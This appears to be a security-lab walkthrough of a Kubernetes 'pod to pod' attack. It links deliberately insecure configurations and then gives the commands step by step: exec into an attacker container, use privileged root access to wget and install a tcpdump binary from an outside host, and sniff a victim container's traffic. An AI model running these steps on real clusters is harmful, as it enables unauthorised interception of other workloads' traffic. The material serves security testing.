**Attack#10 Pod to Pod Attack**

Related configurations: [Attack#10.json](https://drive.google.com/open?id=1CGIy3DQt3RIap3uDG_dD8QAQQdCsom3-)

1. Apply all insecure configs in Attack#10.json. When multiple containers are deployed within the same pod, they share the pod’s network namespace. That means they can communicate directly using localhost and access each others services without any network restrictions.
2. kubectl exec -it checkoutservice- -c attacker-container -n default -- sh
3. The attacker can exploit privileged securityContext to use root permission(**#1-6**) to install tcpdump tool from the container for misconfiguration in attacker-container **#3**
   1. wget <https://files.serverless.industries/bin/tcpdump.x86> -O tcpdump
   2. chmod +x tcpdump
   3. mv tcpdump /usr/local/bin/
4. The attacker can intercept the victim-container's traffic in the attacker-container if there are no network policy configurations.
   1. Tcpdump -i any

